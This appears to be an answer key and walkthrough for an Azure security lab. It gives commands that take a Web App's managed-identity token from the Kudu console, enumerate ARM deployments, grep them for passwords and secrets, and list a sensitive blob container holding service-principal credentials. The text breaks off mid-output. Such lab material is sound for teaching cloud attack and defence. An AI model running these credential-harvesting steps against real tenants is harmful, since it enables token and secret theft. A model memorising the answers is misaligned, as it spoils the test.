Answer : A

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p '<client-secret>' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

{

'user': {

'name': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'type': 'servicePrincipal'

}

}

This confirms you are authenticated as the App Registration/service principal.

================

Answer : B

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id <client-id>

Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

Answer : B

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

The response contains:

{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }

Correct option:

Answer : A

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df' \

-H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

For Windows PowerShell inside Kudu:

$uri = '$env:IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df'

$response = Invoke-RestMethod -Uri $uri -Headers @{

'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = '7403ec86-c39d-4d80-9efa-35c7580ecefa'

$rg = 'Excalibur-Resources'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

For each deployment name returned, inspect it:

$deploymentName = '<deployment-name>'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Also check deployment operations:

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H 'Authorization: Bearer $TOKEN' \

'https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-version=2021-04-01' \

| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'

Final Answer:

Use the leaked secret/password value returned from the deployment metadat

a. Do not guess this; it is lab-generated.

================

Answer : A

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT='prodreportstore01'

CONTAINER='sensitive-exports'

SAS='?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig=<signature>'

List blobs:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name '$CONTAINER' \

--sas-token '$SAS' \

--query '[].name' \

--output table

Expected output:

Name
